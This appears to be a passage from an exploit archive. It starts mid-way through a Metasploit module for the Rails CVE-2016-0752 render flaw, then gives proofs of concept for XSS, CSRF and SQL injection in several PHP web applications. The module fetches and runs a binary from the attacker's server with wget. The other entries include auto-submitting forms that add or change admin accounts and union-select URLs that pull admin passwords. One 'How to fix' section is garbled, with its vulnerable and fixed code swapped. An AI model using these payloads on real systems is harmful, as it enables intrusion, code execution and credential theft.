        can literally be any endpoint. This module doesnt use the log inclusion method of
        exploitation due to it not being universal enough. Instead, a new code injection
        technique was found and used whereby an attacker can upload temporary image files
        against any POST endpoint and use them for the inclusion attack. Finally, you only
        get one shot at this if you are testing with the builtin rails server, use caution.
      },
      'Author'         =>
        [
          'mr_me <mr_me@offensive-security.com>',      # necromanced old bug & discovered new vector rce vector
          'John Poulin (forced-request)'               # original render bug finder
        ],
      'References'  =>
        [
          [ 'CVE', '2016-0752'],
          [ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'],        # rails patch
          [ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'],  # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016
          [ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'],                     # John's original exploit
        ],
      'License'        => MSF_LICENSE,
      'Platform'    => ['linux', 'bsd'],
      'Arch'        => ARCH_X86,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Privileged'     => false,
      'Targets'     =>
        [
          [ 'Ruby on Rails 4.0.8 July 2, 2014', {} ]                                                   # Other versions are also affected
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Oct 16 2016'))
    register_options(
      [
        Opt::RPORT(3000),
        OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/users"]),
        OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
      ], self.class)
  end

  def check

    # this is the check for the dev environment
    res = send_request_cgi({
      'uri'       =>  normalize_uri(datastore['URIPATH'], "%2f"),
      'method'    =>  'GET',
    }, 60)

    # if the page controller is dynamically rendering, its for sure vuln
    if res and res.body =~ /render params/
      return CheckCode::Vulnerable
    end

    # this is the check for the prod environment
    res = send_request_cgi({
      'uri'       =>  normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"),
      'method'    =>  'GET',
    }, 60)

    # if we can read files, its likley we can execute code
    if res and res.body =~ /ruby/
      return CheckCode::Appears
    end
    return CheckCode::Safe
  end

  def on_request_uri(cli, request)
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  def send_payload
    @bd = rand_text_alpha(8+rand(8))
    fn  = rand_text_alpha(8+rand(8))
    un  = rand_text_alpha(8+rand(8))
    pn  = rand_text_alpha(8+rand(8))
    register_file_for_cleanup("/tmp/#{@bd}")
    cmd  = "wget #{@service_url} -O /tmp/#{@bd};"
    cmd << "chmod 755 /tmp/#{@bd};"
    cmd << "/tmp/#{@bd}"
    pay = "<%=`#{cmd}`%>"
    print_status("uploading image...")
    data = Rex::MIME::Message.new
    data.add_part(pay, nil, nil, 'form-data; name="#{un}"; filename="#{fn}.gif"')
    res = send_request_cgi({
      'method' => 'POST',
      'cookie' => @cookie,
      'uri'    => normalize_uri(datastore['URIPATH'], pn),
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => data.to_s
    })
    if res and res.code == 422 and res.body =~ /Tempfile:\/(.*)>/
      @path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>/
      return true
    else

      # this is where we pull the log file
      if leak_log
        return true
      end
    end
    return false
  end

  def leak_log

    # path to the log /proc/self/fd/7
    # this bypasses the extension check
    res = send_request_cgi({
      'uri'       =>  normalize_uri(datastore['URIPATH'], "proc%2fself%2ffd%2f7"),
      'method'    =>  'GET',
    }, 60)

    if res and res.code == 200 and res.body =~ /Tempfile:\/(.*)>, @original_filename=/
      @path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>, @original_filename=/
      return true
    end
    return false
  end

  def start_http_server
    @pl = generate_payload_exe
    @elf_sent = false
    downfile = rand_text_alpha(8+rand(8))
    resource_uri = '/' + downfile
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
    else
      srv_host = datastore['SRVHOST']
    end

    # do not use SSL for the attacking web server
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    @service_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
    service_url_payload = srv_host + resource_uri
    print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
    start_service({'Uri' => {
      'Proc' => Proc.new { |cli, req|
        on_request_uri(cli, req)
      },
      'Path' => resource_uri
    }})
    datastore['SSL'] = true if ssl_restore
    connect
  end

  def render_tmpfile
    @path.gsub!(/\//, '%2f')
    res = send_request_cgi({
      'uri'       =>  normalize_uri(datastore['URIPATH'], @path),
      'method'    =>  'GET',
    }, 1)
  end

  def exploit
      print_status("Sending initial request to detect exploitability")
      start_http_server
      if send_payload
        print_good("injected payload")
        render_tmpfile

        # we need to delay, for the stager
        select(nil, nil, nil, 5)
      end
  end
end
            
# Exploit Title: PHP Business Directory - Multiple Vulnerabilities
# Date: 2016-10-16
# Exploit Author: larrycompress
# Contact: larrycompress@gmail.com
# Type: webapps
# Platform: PHP
# Vendor Homepage: http://www.pagereactions.com/product.php?pku=4
# Software Link: http://www.pagereactions.com/downloads/phpbusinessdirectory.zip
--------------------------------------------------------------------------------

POC as follows :

# 0x00 Reflected XSS

---

1.In public search :

http://192.168.1.112/phpbusinessdirectory/index.php?key=<svg/onload=alert(1)>&location=<svg/onload=alert(2)>

2.In administration web interface (need normal user login) :

http://192.168.1.112/phpbusinessdirectory/administration.php?key=<svg/onload=alert(1)>&location=<svg/onload=alert(2)>

# 0x01 Stored XSS

---

1.In administration web directory interface (need normal user login) :

http://192.168.1.112/phpbusinessdirectory/administration.php
?pageaction=newsavebusiness
&subaction=submit
&businessname=<script>alert(1)</script>
&slogan=<script>alert(2)</script>
&businesslicence=<script>alert(3)</script>
&address=<script>alert(4)</script>
&city=<script>alert(5)</script>
&suburb=<script>alert(6)</script>
&businessstate=<script>alert(7)</script>
&country=<script>alert(8)</script>
&zippostcode=<script>alert(9)/*
&telephone1=*/</script><script>alert(10)</script>
&telephone2=<script>alert(11)</script>
&mobilecell=<script>alert(12)</script>
&fax=<script>alert(13)</script>
&email=<script>alert(14)</script>
&website=<script>alert(15)</script>
&socialmedia1=<script>alert(16)</script>
&socialmedia2=<script>alert(17)</script>
&socialmedia3=<script>alert(18)</script>
&productservice=<script>alert(19)</script>
&manager=<script>alert(20)</script>
&paymentsaccepted=<script>alert(21)</script>

2.In administration web categories interface (need  administrator user login) :

http://192.168.1.112/phpbusinessdirectory/administration.php?pageaction=savecategory&subaction=submit&categoryname=</select><svg/onload=alert(1)><select>

# 0x02 CSRF (add Super user)

---

In http://192.168.1.103/csrf.html :

<!DOCTYPE html>
<html>
  <body>
    <form action="http://192.168.1.112/phpbusinessdirectory/administration.php" method="POST">
      <input name="pageaction" value="saveuser" type="hidden" />
      <input name="subaction" value="submit" type="hidden" />
      <input name="username" value="larry_csrf" type="hidden" />
      <input name="password" value="larry_csrf" type="hidden" />
      <input name="userfullname" value="larry_csrf" type="hidden" />
      <input name="accesslevel" value="Super" type="hidden" />
      <input name="userstatus" value="active" type="hidden" />
      <input name="mysubmit" value="submit" type="submit" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

* Thanks to Besim *
            
# Exploit Title.............. School Full CBT SQL Injection
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/node/9859
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/fimo4real1992/cbt_by_ajijola_femi.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in /show.php
-------------------------------

----snip----

$get = $_GET['show'];
	$result= mysql_query("select * from studentreg WHERE id=$get")or die(mysql_error());

----snip----


Example exploitation
--------------------

http://server/path_to_webapp/show.php?show=-1%20union%20select%201,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,user(),database(),31,32%20from%20adminlogin--+


How to fix
----------
Simple method's use the php function intval.
For example

$get = intval($_GET['show']);
	$result= mysql_query("select * from studentreg WHERE id=$get")or die(mysql_error());


Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/node/9859
http://php.net/manual/en/function.intval.php
            
# Exploit Title.............. Simple Shopping Cart Application SQL Injection
# Google Dork................ inurl:"product-details.php?prodid=" "Designed by FBC Students"
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/10181/simple-shopping-cart-application-php-mysql.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/tyron69/ecommerce_0.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in shop/product-details.php
-------------------------------

----snip----

	$prodID = intval($_GET['prodid']);

	if(!empty($prodID)){
		$sqlSelectSpecProd = mysql_query("select * from products where id = '$prodID'") or die(mysql_error());
		$getProdInfo = mysql_fetch_array($sqlSelectSpecProd);
		$prodname= $getProdInfo["Product"];

----snip----


Example exploitation
--------------------
http://server/shop/product-details.php?prodid=-80%27%20union%20select%201,2,concat(username,0x3a,password),4,version(),user()%20from%20user--+


How to fix
----------
Simple method's use the php function intval.
For example

	$prodID = $_GET['prodid'];

	if(!empty($prodID)){
		$sqlSelectSpecProd = mysql_query("select * from products where id = '$prodID'") or die(mysql_error());
		$getProdInfo = mysql_fetch_array($sqlSelectSpecProd);
		$prodname= $getProdInfo["Product"];

Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/10181/simple-shopping-cart-application-php-mysql.html
http://php.net/manual/en/function.intval.php
            
*=========================================================================================================
# Exploit Title: PHP NEWS 1.3.0 - Cross-Site Request Forgery (Add Admin)
# Author: Meryem AKDOĞAN
# Google Dork: -
# Date: 16/10/2016
# Type: webapps
# Platform : PHP
# Vendor Homepage: http://newsphp.sourceforge.net
# Software Link: https://sourceforge.net/projects/newsphp/
# Version: 1.3.0
*=========================================================================================================


DETAILS
========================================

PHP NEWS 1.3.0 versions is vulnerable to CSRF attack (No CSRF token in
place) meaning that if an admin user can be tricked to visit a crafted URL
created
by attacker (via spear phishing/social engineering), a form will be
submitted to (http://sitename/path/index.php) that will change admin
password.

Once exploited, the attacker can login to the admin panel using the
username and the password he posted in the form.


RISK
========================================

Attacker can change admin password with this vulnerablity



TECHNICAL DETAILS & POC
========================================

<html>
  <!— CSRF PoC —>
  <body>
    <form action="
http://site_name/phpnews/index.php?action=modifynewsposter3" method="POST">
      <input type="hidden" name="id" value="7" />
      <input type="hidden" name="newusername" value="meryem akdogan" />
      <input type="hidden" name="username" value="meryem" />
      <input type="hidden" name="password" value="meryem123." />
      <input type="hidden" name="password2" value="meryem123." />
      <input type="hidden" name="email" value="b&#64;gmail&#46;com" />
      <input type="hidden" name="language" value="en&#95;GB" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

========================================